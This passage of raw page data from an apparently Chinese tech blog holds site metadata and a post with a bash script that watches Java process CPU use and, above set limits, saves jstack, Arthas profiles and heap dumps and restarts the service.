4d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240405-cpu","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","title":"Java程序CPU异常监控bash脚本","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-05T12:17:00.259Z","lastEditedDay":"2024-4-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","tagItems":[{"name":"运维","color":"gray"},{"name":"linux","color":"orange"},{"name":"脚本","color":"orange"},{"name":"工具","color":"pink"}],"password":"","blockMap":{"block":{"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9":{"value":{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","version":560,"type":"page","content":["93e64a88-9edc-4f61-a1de-a93bfd68fb5b","f9483c5d-1f72-44a0-aec0-053896cd0dc5","4800bf83-7ce9-4e2d-a62c-9ed22b1a914c","bc095737-3af4-49b6-ba76-7b37566f37ef","1eb91751-928e-465e-ba32-1eb3d29e2330","8aa9aecc-2f71-42b9-b20d-3afead35da7d","4d6b9532-cfae-46b1-a1f6-d08a9ca92238","26c17f41-4638-437e-bf5c-05f96be4a6f6","2240e818-8e60-4c0a-bd3f-5adb76a9eedd","afa70581-a222-4738-904c-b803043a6fde","c46ac5e8-e6e1-43b7-aceb-3c2906963d8b","8b15acfd-bd09-47fa-9267-4964f87647d9","d8a32680-bcd2-4db0-9b76-c4abe2af24dc","51466e05-4be7-4201-b31f-39907d6933f1","0ddd9088-952a-4b72-826d-8bf3b8cd06a7","75d91b11-bdfe-4135-96a5-d3b4ea8aa4e0","74457eaa-9248-416a-b9d5-530d5ed976c2","0ae509af-0f7a-42c6-8d66-f7417927ca71","e5f7e858-b86d-4aba-875c-76a63ab86f2d","7e54941b-1190-46d4-b176-12f10c71c2f8"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1712317831555,"last_edited_time":1712319420259,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"93e64a88-9edc-4f61-a1de-a93bfd68fb5b":{"value":{"id":"93e64a88-9edc-4f61-a1de-a93bfd68fb5b","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712317833901,"last_edited_time":1712317833901,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"f9483c5d-1f72-44a0-aec0-053896cd0dc5":{"value":{"id":"f9483c5d-1f72-44a0-aec0-053896cd0dc5","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712317833900,"last_edited_time":1712317833900,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"4800bf83-7ce9-4e2d-a62c-9ed22b1a914c":{"value":{"id":"4800bf83-7ce9-4e2d-a62c-9ed22b1a914c","type":"callout","properties":{"title":[["最近线上Java程序CPU异常,暂时没有好的解决办法,故写个bash脚本去监听"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712317833900,"last_edited_time":1712318098439,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"bc095737-3af4-49b6-ba76-7b37566f37ef":{"value":{"id":"bc095737-3af4-49b6-ba76-7b37566f37ef","type":"header","properties":{"title":[["思路"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712317833900,"last_edited_time":1712318103341,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"1eb91751-928e-465e-ba32-1eb3d29e2330":{"value":{"id":"1eb91751-928e-465e-ba32-1eb3d29e2330","type":"code","properties":{"title":[["#使用jps获取java程序,忽略jps本身\njps -lv | grep java | grep -v Jps | awk '{print $1}'\n\n#pid拿到cpu占用率\ntop -b -n 1 -p $pid | grep $pid | awk '{print $9}'\n\n#jstack一下\njstack $pid > \"/xxx.txt\"\n\n#非交互式的执行arthas脚本\njava -jar arthas-boot.jar --select ./$jar_name -f .xx.sh\n\n#arthas里面没有sleep程序,无法完成火焰图的等待,取巧使用dashbord,下面表示等待15s\ndashboard -n 5 -i 3000\n\n#dump文件\njmap -dump:format=b,file=/mnt/$pid.hprof $pid\n"]],"language":[["Bash"]]},"created_time":1712318168210,"last_edited_time":1712319133941,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true}},"8aa9aecc-2f71-42b9-b20d-3afead35da7d":{"value":{"id":"8aa9aecc-2f71-42b9-b20d-3afead35da7d","type":"header","properties":{"title":[["成品"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712317833900,"last_edited_time":1712318112643,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true,"copied_from":"bc90f652-c084-4885-8571-e07c2b2a5073"}},"4d6b9532-cfae-46b1-a1f6-d08a9ca92238":{"value":{"id":"4d6b9532-cfae-46b1-a1f6-d08a9ca92238","type":"image","properties":{"size":[["137.7KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c8d8effd-c187-4cb0-8a3f-ca923ee3d87a/Untitled.png"]]},"format":{"block_width":630,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c8d8effd-c187-4cb0-8a3f-ca923ee3d87a/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.7775229357798165,"block_preserve_scale":true},"created_time":1712319314580,"last_edited_time":1712319318831,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true,"file_ids":["c8d8effd-c187-4cb0-8a3f-ca923ee3d87a"]}},"26c17f41-4638-437e-bf5c-05f96be4a6f6":{"value":{"id":"26c17f41-4638-437e-bf5c-05f96be4a6f6","type":"sub_header","properties":{"title":[["运行命令"]]},"created_time":1712318112887,"last_edited_time":1712318127556,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true}},"2240e818-8e60-4c0a-bd3f-5adb76a9eedd":{"value":{"id":"2240e818-8e60-4c0a-bd3f-5adb76a9eedd","type":"code","properties":{"title":[["nohup ./monitor.sh >> ./monitor.log 2>&1 &"]],"language":[["Bash"]]},"created_time":1712318194999,"last_edited_time":1712318254610,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true}},"afa70581-a222-4738-904c-b803043a6fde":{"value":{"id":"afa70581-a222-4738-904c-b803043a6fde","type":"sub_header","properties":{"title":[["主脚本:monitor.sh"]]},"created_time":1712318127784,"last_edited_time":1712318342313,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true}},"c46ac5e8-e6e1-43b7-aceb-3c2906963d8b":{"value":{"id":"c46ac5e8-e6e1-43b7-aceb-3c2906963d8b","type":"code","properties":{"title":[["#!/bin/bash\n\nwhile true\ndo\n echo \"$(date): 监控java\"\n timestamp=$(date +%Y%m%d%H%M%S)\n # 获取所有名字中包含 \"java\" 进程的 PID,不包含jps\n for pid in $(jps -lv | grep java | grep -v Jps | awk '{print $1}')\n do\n # 获取每个进程的 CPU 和内存使用率\n cpu=$(top -b -n 1 -p $pid | grep $pid | awk '{print $9}')\n mem=$(top -b -n 1 -p $pid | grep $pid | awk '{print $10}')\n\n # 获取jar包名\n jar_name=$(jps | grep $pid | awk '{print $2}')\n\n echo \"$(date): PID $pid - CPU : $cpu - Memory : $mem - 应用: $jar_name\"\n\n # 如果 CPU 使用率超过 100%, 打印jstack arthas火焰图 arthas线程\n if [ $(echo \"$cpu > 100\" | bc) -eq 1 ]; then\n echo \"$(date): $jar_name , PID $pid cpu占用 $cpu 立即打印jstack arthas火焰图 arthas线程\"\n cd /root/prod\n\n echo \"$(date): 生成jstack文件 $jar_name $pid\"\n jstack $pid > \"/mnt/${jar_name}_${pid}_${timestamp}_jstack.txt\"\n\n echo \"$(date): 生成arthas文件 $jar_name $pid\"\n java -jar arthas-boot.jar --select ./$jar_name -f ./arthas-profiler.sh\n mv /mnt/thread10.txt \"/mnt/${jar_name}_${pid}_${timestamp}_thread10.txt\"\n\n\n fi\n\n # 如果 CPU 使用率超过 300%,则结束该进程并重启,忽略xxxx\n if [ $(echo \"$cpu > 300\" | bc) -eq 1 ] && [[ \"$jar_name\" != *\"xxxx\"* ]]; then\n echo \"$(date): $jar_name , PID $pid cpu占用 $cpu 立即重启,并且打印dump文件\"\n cd /root/prod\n #生成dump文件\n echo \"$(date): 生成dump文件 $pid\"\n jmap -dump:format=b,file=/mnt/$pid.hprof $pid\n #重启\n ./deploy.sh restart $jar_name\n fi\n\n\n done\n\n # 等待60秒\n echo \"$(date): -----------------------------------------------------------------------------\"\n sleep 60\ndone\n"]],"language":[["Bash"]]},"created_time":1712318258415,"last_edited_time":1712318297569,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true}},"8b15acfd-bd09-47fa-9267-4964f87647d9":{"value":{"id":"8b15acfd-bd09-47fa-9267-4964f87647d9","type":"sub_header","properties":{"title":[["副脚本:arthas-profiler.sh"]]},"created_time":1712318133445,"last_edited_time":1712318355928,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true}},"d8a32680-bcd2-4db0-9b76-c4abe2af24dc":{"value":{"id":"d8a32680-bcd2-4db0-9b76-c4abe2af24dc","type":"code","properties":{"title":[["thread -n 10 >> /mnt/thread10.txt\nprofiler start\ndashboard -n 5 -i 3000\nprofiler stop\nstop"]],"language":[["Bash"]]},"created_time":1712318329775,"last_edited_time":1712318330199,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true}},"51466e05-4be7-4201-b31f-39907d6933f1":{"value":{"id":"51466e05-4be7-4201-b31f-39907d6933f1","type":"header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712317833900,"last_edited_time":1712317833900,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"0ddd9088-952a-4b72-826d-8bf3b8cd06a7":{"value":{"id":"0ddd9088-952a-4b72-826d-8bf3b8cd06a7","type":"bulleted_list","properties":{"title":[["arthas无法使用sleep命令"]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712317833900,"last_edited_time":1712319160241,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"75d91b11-bdfe-4135-96a5-d3b4ea8aa4e0":{"value":{"id":"75d91b11-bdfe-4135-96a5-d3b4ea8aa4e0","type":"bulleted_list","properties":{"title":[["dump文件很难分析cpu占用,主要靠火焰图,top,dashboard"]]},"created_time":1712319160425,"last_edited_time":1712319370015,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true}},"74457eaa-9248-416a-b9d5-530d5ed976c2":{"value":{"id":"74457eaa-9248-416a-b9d5-530d5ed976c2","type":"bulleted_list","properties":{"title":[["这里是瞬间cpu占用,60秒一次一直扫"]]},"created_time":1712319370836,"last_edited_time":1712319420962,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true}},"0ae509af-0f7a-42c6-8d66-f7417927ca71":{"value":{"id":"0ae509af-0f7a-42c6-8d66-f7417927ca71","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712317833900,"last_edited_time":1712317833900,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"e5f7e858-b86d-4aba-875c-76a63ab86f2d":{"value":{"id":"e5f7e858-b86d-4aba-875c-76a63ab86f2d","type":"column_list","content":["b5199d7b-c78d-468b-8184-1ffa3121d43e","b08d8512-adee-438d-bf93-e829da2b84da","d5195470-d8d9-41bc-8ae6-4fe6ed34f17d"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712317833900,"last_edited_time":1712317833900,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"7e54941b-1190-46d4-b176-12f10c71c2f8":{"value":{"id":"7e54941b-1190-46d4-b176-12f10c71c2f8","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712317833901,"last_edited_time":1712317833901,"parent_id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}},"b5199d7b-c78d-468b-8184-1ffa3121d43e":{"value":{"id":"b5199d7b-c78d-468b-8184-1ffa3121d43e","type":"column","content":["8aac07aa-2380-479b-a102-949bea52fa92"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712317833901,"last_edited_time":1712317833901,"parent_id":"e5f7e858-b86d-4aba-875c-76a63ab86f2d","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"b08d8512-adee-438d-bf93-e829da2b84da":{"value":{"id":"b08d8512-adee-438d-bf93-e829da2b84da","type":"column","content":["9a4745f3-f187-4d79-9779-3f03e5624af9","5292fec2-e9fe-490c-a434-950f4e6dfb5a"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712317833901,"last_edited_time":1712317833901,"parent_id":"e5f7e858-b86d-4aba-875c-76a63ab86f2d","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"d5195470-d8d9-41bc-8ae6-4fe6ed34f17d":{"value":{"id":"d5195470-d8d9-41bc-8ae6-4fe6ed34f17d","type":"column","content":["6b314ec2-4cdc-4a48-bbd2-b178155da2ce"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712317833901,"last_edited_time":1712317833901,"parent_id":"e5f7e858-b86d-4aba-875c-76